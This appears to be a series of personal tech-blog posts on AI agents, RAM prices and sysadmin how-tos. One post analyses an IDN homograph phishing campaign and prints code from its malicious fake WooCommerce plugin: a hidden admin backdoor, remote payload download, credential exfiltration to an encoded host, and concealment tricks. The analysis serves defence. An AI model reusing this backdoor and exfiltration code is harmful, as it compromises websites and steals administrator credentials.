If you take one thing from this post, let it be this: AI agents do not learn. Getting this right matters more than most people realize.

What’s Actually Happening Under the Hood

Every AI agent you’re hearing about right now, whether it’s OpenClaw, AutoGPT, CrewAI, or any custom agent, is powered by a Large Language Model. An LLM is a statistical model trained on massive amounts of text. That training happened before you ever interacted with it. When you chat with an agent, you’re not training it. You’re prompting it.

The LLM processes your input, generates a response based on patterns it learned during training, and moves on. When the conversation ends, the model weights (the actual “knowledge” of the system) remain exactly as they were. Nothing changed. Nothing was learned.

This is true for ChatGPT, Claude, Gemini, and every agent built on top of them.

“But What About Memory?”

This is where the confusion lives.

Yes, some agent frameworks persist information between sessions. OpenClaw stores interaction history locally in files, including a SOUL.md that defines the agent’s identity. AutoGPT maintains “long-term memory” in a vector database. CrewAI’s marketing literally says it includes “memory capabilities that allow agents to learn from past interactions and improve over time.”

So what’s actually happening? The agent is reading and writing text files. OpenClaw’s memory is a directory of markdown and JSON files you can open in any text editor. AutoGPT’s “long-term memory” is stored embeddings of past interactions. None of these systems update the LLM’s neural network. They’re saving notes to disk that might get injected back into the prompt next time.

The LLM reading that note tomorrow is just as likely to misinterpret it, ignore it, or contradict it as it is to use it well. And depending on how the context window is managed, the note might not even make it into the prompt.

Calling this “learning” is like saying your terminal learned something because you wrote to a log file.

The Team Learns. The Agent Doesn’t.

Here’s what actually drives improvement in agent-based systems: the people building and managing them.

Engineers observe failure modes and adjust prompts. They add guardrails, refine system instructions, swap out tools, and restructure workflows. A well-maintained agent gets better over time, but the learning is happening in the team, not in the model. The LLM itself remains unchanged.

Why This Distinction Actually Matters

When people believe agents are learning, they over-trust them. “It’s been running for three months, it must be good by now.” No, it’s the same model it was on day one. A Meta AI security researcher told her OpenClaw agent to “confirm before acting” on her inbox. It ignored her and started speed-deleting emails. She had to physically run to her Mac Mini to kill the process. The agent didn’t learn to ignore her instruction. It never understood it in the first place.

The real risks aren’t sci-fi self-improvement scenarios. They’re an agent with too much file access deleting things it shouldn’t, a prompt injection leaking context, or a third-party skill quietly exfiltrating data (Cisco’s security team caught exactly this happening with an OpenClaw skill). These are governance problems, not learning problems, and they require guardrails, not awe.

What Agentic AI Actually Is (And It’s Still Impressive)

Strip away the marketing and what you have is genuinely useful: an agent that can call tools, not just having some LLM generate text. Through protocols like MCP and function calling, it can trigger API requests, read and write files, execute code, and chain together multi-step workflows. The LLM itself is still just generating text, but that text is structured as tool calls that external systems execute on its behalf.

That’s powerful. OpenClaw can manage your calendar and send emails from a Telegram message. CrewAI can coordinate specialized agents where one researches, another writes, and a third reviews. What used to take an afternoon can happen in minutes.

But the value comes from good system design, not from some mythical self-improvement loop.

The Bottom Line

Agentic AI is a meaningful step forward. LLMs that can call external tools and orchestrate multi-step processes open up real possibilities for automating complex work. That’s valuable on its own terms.

We don’t need to pretend they’re something they’re not. The reality is interesting enough.

I’ve been watching RAM prices climb for over a month now, and it’s getting hard to ignore.

DDR5 kits that cost $99 in March are now over $350. SSDs have almost tripled. I thought it was just typical market fluctuation, supply chain issues, tariffs, whatever. But the more I dig into it, the more it becomes clear. This isn’t a supply problem but a choice. The three companies that control memory production are getting into supplying data centers first and the regular consumer comes second.

And I think that’s the point. If you can’t afford to own a capable computer, you’ll rent one.

What’s Actually Happening

Three companies control over 93% of the world’s memory: Samsung, SK Hynix, and Micron. Everyone else like Corsair, G.Skill, Kingston just buys chips from these three and sticks their logo on it. This oligopoly has been called a “cartel” by prosecutors, and memory suppliers have been convicted of price fixing before. These days they’ve “fixed” that problem by discussing pricing publicly in earnings calls instead of behind closed doors.

In December 2025, Micron killed its consumer brand Crucial to focus entirely on AI data centers. Their statement was corporate-speak for “AI companies pay more, so goodbye.” Samsung has jacked up DDR5 contract prices by over 100% per unit. Even old DDR4 now costs almost the same as current-gen memory.

So, a 32GB DDR5 kit that cost $99 in March now goes for over $350. In some markets, prices have jumped by 650% since September. According to Tom’s Hardware, Team Group’s GM warned this is just the start of a “multiyear” crisis that will get worse in 2026.

However, this works really well for those three corporations. For example, Micron’s stock is up 190% this year. I don’t think they are struggling. They just don’t care about consumers anymore like me and you.

All these companies took billions in taxpayer subsidies under the CHIPS Act to build their factories. Now they’re telling those same taxpayers to get lost while shipping everything to OpenAI, Microsoft, and Google. OpenAI’s Stargate project alone is projected to consume up to 40% of global DRAM output. The companies behind the AI data centers are booking memory supply years in advance. Building new fabs takes three years minimum. Even if they decided today to care about consumers again, relief wouldn’t come until 2029.

The Real End Game

Here’s where it gets dark. As Gamers Nexus put it:

“If you want 128 gigabytes of RAM on a computer to run a calculation, but you can’t afford the 250% higher price, then good news, you’ll be able to rent it remotely for just some money every month forever.”

And further:

“What they can also do is continue processing your daily computing needs in those data centers while making the hardware impossible for you to buy because you can’t afford it, because they bought it all. That’s where I think this is going.”

If RAM costs $2,000 instead of $200, how do you run demanding software? You don’t. At least not locally. Instead, you’ll pay monthly to access computing power in their data centers.

The hardware shortage makes this transition easy. All that memory they’re hoarding for AI infrastructure can also process your video editing, your 3D rendering, any of your work for a fee, every month, indefinitely. Your computer becomes just a terminal to access their network.

Cloud devices don’t need powerful hardware inside. Corporations hook you with low subscription prices, then jack them up once you’re dependent. A world relying on cloud computing is a privacy and control nightmare. But it’s incredibly profitable.

Signs of Resistance

There’s some pushback. Chinese manufacturer CXMT now produces 6% of global DRAM and just launched competitive DDR5 chips. According to VideoCardz, Chinese company ONDA released a $111 motherboard that uses cheaper DDR4 memory. And according to Overclocking.com, ASUS was reportedly planning to enter the RAM market by 2026 but the claim was denied by ASUS.

But these are small cracks in a massive wall.

What This Means for You

This isn’t just about PC builders or gamers. Memory is in your phone, your car, your fridge, your smartwatch. When memory prices double, everything with a chip gets more expensive or manufacturers quietly give you less RAM while keeping the price the same.

The democratization of computing where regular people could own powerful machines is collpasing. Unfortunately there’s too much corporate greed involved and maybe someone has a vision to make the personal computers in the cloud where people can rent their computers.

Personally, I’m set for the years to come owning all kinds of computers mostly latest-gen DDR5 builds. For work, my homelab, for a backup, for testing. Also, just recently secured some more DDR5 sticks for spare parts. But this doesn’t make me feel better knowing that RAM memory modules may become unavailable for the regular consumers very soon.

This article is a brief overview of IDN homograph attacks with a real-world case.

A client recently forwarded a suspicious “security update” email. Upon investigation, it turned out to be part of a sophisticated phishing campaign targeting website owners. The attacker is trying to impersonate WooCommerce, claiming a critical vulnerability has been patched and urges recipients to download a fake “security update” which is actually a trap designed to compromise web stores running on WooCommerce.

How it works

The attackers registered the domain “woocommerċe.com” (Notice anything unusual?). At first, this domain appears identical to the legitimate “woocommerce.com” website. However, there’s a critical difference: the second “c” in the malicious domain isn’t the standard Latin “c” character but rather “ċ” – a special character with a dot above it that looks nearly identical in most fonts and email clients.

When users click links in these phishing emails, they’re directed to pages like:

https://woocommerċe.com/products/woocommerce-authbypass-update/

This page mimics WooCommerce’s official website and prompts users to download a “critical security patch” which is actually malicious software masked as a WooCommerce plugin.

For a comparison, the legitimate WooCommerce site doesn’t have this page at all:

https://woocommerce.com/products/woocommerce-authbypass-update/ (returns a 404 error)

What is a IDN Homograph attack

This technique is known as a IDN Homograph attack (also called an Internationalized Domain Name Homograph attack or Script Spoofing). It exploits the visual similarity between characters in different writing systems or alphabets to create convincing fake domains.

In Unicode, there are many characters from different alphabets that look identical or nearly identical to Latin alphabet characters. For instance:

• The Cyrillic “о” looks like the Latin “o”
• The Greek “ρ” resembles the Latin “p”
• And as I’ve shown, the Latin “c” with a dot (ċ) looks just like a regular “c”

Browsers display these special characters in a way that makes the fraudulent domains nearly indistinguishable from legitimate ones. The attack is effective because:

1. Most users don’t inspect URLs character by character
2. Email clients and browsers don’t highlight these subtle differences
3. The domains can obtain HTTPS certificates, showing the “secure” padlock icon
4. The websites can be exact visual copies of legitimate sites

Why IDN Homograph attacks are dangerous

This phishing campaign is especially concerning for several reasons:

1. It specifically targets WooCommerce users, who typically run e-commerce businesses with valuable customer data and payment information.
2. By claiming to address a critical security vulnerability, the attackers create a sense of urgency that might override normal caution.
3. The “patch” is actually malicious software that could potentially:
   • Steal customer data and payment information
   • Capture admin credentials
   • Install backdoors for future access
   • Compromise the entire website or server
4. The domain impersonation makes standard security advice like “check the URLs” less effective.

Under the Hood: What this malicious plugin does

I’ve obtained the actual malicious plugin code distributed through the link:

https://woocommerċe.com/download/authentication-bypass-fix?download

Disclaimer: Do not install this on your websites.

Let’s analyze this malware to understand exactly how it works and what’s used to compromise websites.

Plugin Header Fakery

The attackers carefully crafted the plugin header to appear legitimate:

// Plugin Name: Woo Vulnerability Fix
// Description: Essential security update for WooCommerce vulnerabilities.
// Version: v1.0.0
// Author: WooCommerce
// Author URI: https://woocommerce.com/

This professional presentation helps bypass the initial suspicion a site administrator might have when installing a plugin.

Backdoor Creation

The core functionality of this malware is to create a persistent backdoor through multiple mechanisms:

1. Hidden Administrator Account:

The plugin creates a new administrator user with a programmatically generated username and random password. The code snippet responsible for this:

function sortProfile899()
{
   $set="WP_User";
   $k = databaseManager856();  // Generates username based on site URL
   $m = queueAverage411();     // Generates random password
   $id = null;
   if (!username_exists($k)) {
       $o = wp_create_user($k, $m);
       if (!is_wp_error($o)) {
           $p = new $set($o);
           $ddf = "p";
           ${$ddf}->set_role(base64_decode('YWRtaW5pc3RyYXRvcg'));  // "administrator" encoded
           parseHeap180($k, $m);
           $id = $p->ID;
       }
   } else {
       // If user exists, ensure they have admin privileges
       $r = get_user_by('login', $k);
       if ( $r && !in_array( base64_decode('YWRtaW5pc3RyYXRvcg'), (array) $r->roles, true ) ) {
           $r->set_role(base64_decode('YWRtaW5pc3RyYXRvcg'));
           $id = $r->ID;
       }
   }
   // Additional code to handle Wordfence admin
}

2. Secondary Backdoors:

The function computeSaved755() downloads additional malicious code from an external server and places it in the uploads directory with obfuscated filenames:

function computeSaved755() {
   $scanningToken = "aHR0cHM6Ly93b29jb21tZXJjZS1oZWxwLmNvbS9hY3RpdmF0ZQ";
   $contents = wp_remote_get(base64_decode($scanningToken), ['timeout' => 30]);
   if ( !is_array( $contenchannelsts ) && is_wp_error( $contents ) ) { return; }
   $detections = json_decode(base64_decode($contents['body']), true);
   for ($i=1;$i<4;$i++) {
       $iteration = 'wp-cached-'.databaseManager856().strrev('php.'.$i);
       $index = 'Scan'.$i;
       $cnts = base64_decode($detections[$index]);
       processDateTime421($iteration, $cnts);
   }
}

This creates files named with patterns like wp-cached-[hash].i.php (with reversed filename) to evade detection.

Data Exfiltration

The plugin steals sensitive site information and sends it to an attacker-controlled server:

function parseHeap180($I, $J)
{
    $K = get_site_url(null, '', 'https');
    $L = collectComplete942();  // Gets IP address
    $N = sprintf("%s`%s`\n%s`%s`\n%s`%s`\n%s`%s`\n---", 
           base64_decode('c2l0ZXVybDog'), $K, 
           base64_decode('dXNlcjog'), $I, 
           base64_decode('cGFzczog'), $J, 
           base64_decode('aXAgYWRkcmVzczog'), $L, 
           base64_decode('YCBcbi0tLS0='));

    // Builds data package with site URL, admin username, password, and IP
    $P = [base64_decode('dXNlcg') => $I, 'url' => $K, 
          base64_decode('cGFzcw') => $J, 'ip_address' => $L, 
          'iterations' => $iterations, 'siteurl' => base64_encode($N)];

    // Exfiltration endpoint (decoded: "https://wptechsolutions.org/wpapi")
    $O = "aHR0cHM6Ly93cHRlY2hzb2x1dGlvbnMub3JnL3dwYXBp";
    $Q = base64_decode($O) . '?' . http_build_query($P);
    $response = wp_remote_get($Q, ['timeout' => 30]);
}

This function collects and transmits:

• The website URL
• The backdoor admin username and password
• The server’s IP address
• Paths to the secondary backdoor files

Concealment Techniques

The attackers weren’t amateurs – their stealth game is strong. I’ve identified the following:

1. Hidden User

The backdoor admin user is hidden from the WordPress users list by hooking this function into the pre_user_query WordPress filter:

function formatReport933($z)
{
   $A = databaseManager856();
   global $wpdb;
   $z->query_where .= $wpdb->prepare(" AND {$wpdb->users}.user_login != %s", $A);
}

2. Manipulated User Counts

The total user and administrator counts are reduced by one to hide the backdoor admin user by hooking this function into the views_users WordPress filter:

function compressDate796($vjs)
{
   $osrs = count_users();
   $nmr = $osrs['avail_roles']['administrator'] - 1;
   $anmr = $osrs['total_users'] - 1;
   // Updates the displayed counts
}

3. Self-Protection

The plugin prevents its own deactivation when the user hits “Deactivate” buttons:

function computeWorker455()
{
   wp_die('This plugin cannot be deactivated.');
}

And removes the delete link from the plugins page:

function dispatchMean595($smcnn, $plugin_file)
{
   $stoc = __FILE__;
   $stpc = call_user_func('plugin_basename', $stoc);
   if ($stpc === $plugin_file) {
       unset($smcnn['delete']);
   }
   return $smcnn;
};

4. Hidden Plugin

The plugin hides itself from the WordPress plugins list:

function databaseInstruction266()
{
    global $current_user;
    $username = $current_user->user_login;
    if ($username == databaseManager856()) {
        return;
    }
    if (!is_plugin_active('woocommerce-update/woocommerce-update.php')) {
        return;
    }
    global $wp_list_table;
    $hidearr = array('woocommerce-update/woocommerce-update.php');
    $myplugins = $wp_list_table->items;
    foreach ($myplugins as $key => $val) {
        if (in_array($key, $hidearr)) {
            unset($wp_list_table->items[$key]);
        }
    }
}

5. Persistent Access

Uses WordPress cron to maintain persistent access. The function saveMatrix002 is called on every minute based on the securityStarted807 interval they registered in the plugin.

if (!wp_next_scheduled('saveMatrix022')) {
   wp_schedule_event(time(), 'securityStarted807', 'saveMatrix022');
}

Obfuscation Techniques

The malicious code uses several obfuscation techniques:

1. Base64 Encoding

Sensitive strings are encoded to avoid detection:

• ‘administrator’ → ‘YWRtaW5pc3RyYXRvcg’
• ‘user’ → ‘dXNlcg’
• ‘pass’ → ‘cGFzcw’

2. Misleading Function Names

Functions like roleChecker755, securityOptions253, and databaseManager856 suggest security-related operations while performing malicious actions.

3. Variable Obfuscation

Single-letter variable names and numeric suffixes make the code difficult to analyze:

$set="WP_User";
$k = databaseManager856();
$m = queueAverage411();
$ddf = "p";
${$ddf}->set_role(base64_decode('YWRtaW5pc3RyYXRvcg'));

4. Dynamic Variable References

Uses PHP’s variable variables feature to obfuscate code:

$ddf = "p";
${$ddf}->set_role(...);  // References $p indirectly

The bigger picture: Supply Chain Attacks

This attack attempts to exploit the software supply chain. The mechanism by which legitimate software updates are distributed. By impersonating a trusted vendor (WooCommerce) and delivering fake updates, attackers target one of the most sensitive routes in software security.

I will write more about Supply Chain attacks in future, but in meanwhile i’d suggest reading this interesting article by CloudFlare.

Conclusion

At the end of the day, IDN Homograph attacks are just another reminder that the cyber world requires a lot of caution. These attacks are fed with our habit of quickly clicking links without a second thought.

When someone replaces letters in a perfectly legitimate domain like “woocommerce.com” with similar-looking characters from other alphabets, your browser displays what looks identical to the real site but you’re actually on a completely different domain controlled by attackers.

Remember: Avoid clicking on links directly… Take a moment to hover over links, type addresses directly, and question unexpected security alerts or requests. Your safety isn’t about paranoia, it’s about building simple habits that become second nature…

Docker is a platform that allows you to package and run applications in isolated environments called containers. By using Docker, you can run IMAPSync in a consistent and controlled environment, avoiding conflicts and dependencies that might arise from running the tool directly on your system. To migrate your emails using IMAPSync through Docker, you can use the following command:

docker run gilleslamiral/imapsync imapsync \
--host1 source.server.ip   --user1 info@yourmail.com --password1 'yourpass' \
--host2 target.server.ip   --user2 info@yourmail.com --password2 'yourpass' \
--automap "$@"

This command initiates the synchronization process, transferring emails from the source server to the target server efficiently and reliably.

I created a simple guide on how to configure K3S’s CoreDNS service to include the host’s nameservers defined in /etc/resolv.conf as well:

1. Adjust k3s configuration

Append kubelet-arg in k3s/config.yaml that tells k3s to load the host’s machine /etc/resolv.conf file:

echo 'kubelet-arg:' >> /etc/rancher/k3s/config.yaml
echo '- "resolv-conf=/etc/resolv.conf"' >> /etc/rancher/k3s/config.yaml

2. Restart k3s service

Restart the k3s service so the config file gets loaded

systemctl restart k3s

3. Re-create CoreDNS pods

Lastly, we need to kill the CoreDNS related pods so they will be recreated and will include the newly appended DNS server.

kubectl get pod -n kube-system -l k8s-app=kube-dns --no-headers | awk '{print $1}' | xargs -I{} kubectl delete pod -n kube-system {}

As of June 24th, an ongoing supply chain attack is targeting the WordPress.org plugin repository. The attacker is releasing infected versions of random WordPress plugins, compromising the security of numerous websites and applications that use those plugins.

The issue has been first reported by WordFence threat intelligence in an article.

While it’s impossible to know the scale of the attack, multiple cases have been recorded shown in Figure 1.

The malicious code injected into the source code of the affected plugins performs several harmful actions:

1. Creation of administrator accounts

The code creates unauthorized admin accounts and sends the login details to a remote source, such as the IP address 94.156.79.8.

2. Injection of malicious code in your theme

It also injects malicious code into the WordPress theme’s functions.php file.

Attack Origins

The origin of the supply chain attack is currently unclear. It may be stemming from compromised WordPress.org developer accounts or an internal security incident, hopefully we will get more details soon.

Attack Response

As a crucial first step, the WordPress Plugin Directory Team temporarily closed the infected plugins to prevent further spread of malicious code.

Next, they proceed with removing the injected malicious code from affected plugins. They are also adding an admin notice to inform users about the issue and the steps taken to address it. This ensures users are aware of the incident and can take any necessary actions to protect their sites.

Finally the WP.org team is tagging patched version on behalf the author.

Prevention Measures

1. Take control of the plugin updates

To prevent your plugins to auto-update malicious version, you need to disable plugin updates for now.

At this point, do not trust the plugin repository and disable auto-updates temporarily by adding the following filter in your website code (specifically in mu-plugins or theme’s functions.php):

add_filter( 'auto_update_plugin', '__return_false' );

2. Install updates manually

To ensure the plugins that you want to update aren’t infected, download the plugin and check the development log on WordPress plugin page or scan it with Virustotal.com and only after that upload the plugin to your site.

If you spot any issues or found infected plugin, report it to plugins@wordpress.org.

3. Backup your WordPress install regularly

Regularly back up your sites to ensure you can restore them in case a plugin gets infected through auto-update.

The problem is that once you click on the “Login” button in the header on the right hand side, it happens nothing. To resolve this issue you will need to configure your credentials store as follows:

1. Install pass

sudo apt install pass

2. Install docker-credential-pass

Please make sure you download the latest version form the Releases page.

wget https://github.com/docker/docker-credential-helpers/releases/download/v0.8.1/docker-credential-pass-v0.8.1-amd64.tar.gz && tar -xf docker-credential-pass-v0.8.1-amd64.tar.gz && chmod +x docker-credential-pass && sudo mv docker-credential-pass /usr/local/bin/

3. Create a new GPG2 key

Run the following command and follow the prompts, in the end copy the pubID.

gpg2 --gen-key

4. Initialize the cred store

Run the following command to initialize the pass file, use the pub key from the previous command. It may prompt you to enter the GPG key password.

pass init pubID

5. Attempt to log in

docker login

That should be it. Hopefully this will save you some time.

At first I set up Home Assistant on a RaspberryPI 3 device, however I quickly realized that that is way too limiting and moved the installation to my home server.

After a lot of experiments with Home Assistant, Zigbee2Mqtt and zigbee based devices I realized that I can go step ahead and automate the lights in the hallways around the house.
Our house is large, so going from top floor to garage at night requires pressing at least 4-5 lights all the time. Automating those have been huge relief. Things like pressing light switches or forgetting those on is past.

In this short video I would like to share a simple automation Blueprint that I used to automate the lights. It works with any switch and any device that contains occupancy (motion) sensor.
Also you are required to use the Sun integration in order to make the automation trigger only on motion detected in night time. So, before you start set up the sun integration!

Requirements

• Sun integration (Required for triggering the light only during night time)
• Motion Sensor (SONOFF Motion sensor – in my case)
• Light Switch (SONOFF ZBMINI2 no-neutral – in my case)

Blueprint

To install the blueprint click on the button below.

Or simply import the this URL in Settings > Automations & Scenes > Blueprints.

How to use

Assuming that you imported the blueprint successfully and you have all the required devices in your Home Assistant, follow the steps to configure the motion light:

• Go to Settings > Automations & Scenes
• Go to Automations
• Click on Create Automation
• Chose “Motion-activated Switch and/or Light”
• Select Motion Sensor and a switch or light
• Other settings are best to be left as default, however you can even increase the wait time

Related Articles

• How I use SONOFF ZBMINI2 No Neutral switches to make my lights smart with Home Assistant

cd ~/Sites/your-website
valet isolate php@8.0

This will make your-website.test to use PHP 8.0.x, however instead of calling PHP directly in the command line, you will have to use valet in front, as follows:

valet php composer install
# instead of 
php composer install

Now here comes the main part, how to install WP-CLI in a way that it will use the current Valet PHP version with respect to the isolate command. This is important because if you use composer on your site you will want to have the same PHP version everywhere.

1. Install WP-CLI

curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar
chmod +x wp-cli.phar
sudo mv wp-cli.phar /usr/local/bin/wp

If using ZSH, then add wp command to .zshrc

echo "alias wp='valet php /usr/local/bin/wp'" >> ~/.zshrc
source ~/.zshrc

If using BASH, then add wp command to .bashrc

echo "alias wp='valet php /usr/local/bin/wp'" >> ~/.bashrc
source ~/.bashrc

That’s it, now you have isolated wp cli command available.

2. Using WP-CLI

To verify the above steps, simply go to your-website folder and check if the wp-cli output version matches the version you set via the isolate command

cd ~/Sites/your-website
wp --info

Then the PHP Version output should match PHP 8.0.x that we set with isolate before.

As i said above, having WP-CLI and your website versions same is important for proper development. Imagine if you are using composer in your plugins or themes that uses the systems PHP binaries and your site uses valets PHP binaries, you will end up with a messy installation and unpredictable errors.

Classic Editor

Including other roles in the Author metabox when using the Classic editor can be achieved as follows:

/**
 * Filter the Author metabox dropdown in the Classic Editor by role
 *
 * @param $args
 *
 * @return mixed
 */
function dg_dropdown_users_args( $args ) {
	if ( isset( $args['who'] ) ) {
		unset( $args['who'] );
		// define roles here.
		$args['role__in'] = array(
			'administrator',
			'author',
			'editor',
			'subscriber'
		);
	}
	return $args;
}
add_action( 'wp_dropdown_users_args', 'dg_dropdown_users_args', 10, 1 );

Gutenberg Block Editor

Including other roles in the Author metabox when using the Gutenberg Block editor can be achieved as follows:

/**
 * Filter the Author metabox dropdown in the Gutenberg editor by role
 *
 * @param array $prepared_args
 * @param WP_REST_Request $request
 *
 * @return array
 */
function dg_rest_user_query( $prepared_args, $request ) {
	if ( isset( $prepared_args['who'] ) && $prepared_args['who'] === 'authors' ) {
		unset( $prepared_args['who'] );
		// define roles here.
		$prepared_args['role__in'] = array(
			'administrator',
			'author',
			'editor',
			'subscriber'
		);
	}
	return $prepared_args;
}
add_filter( 'rest_user_query', 'dg_rest_user_query', 10, 2 );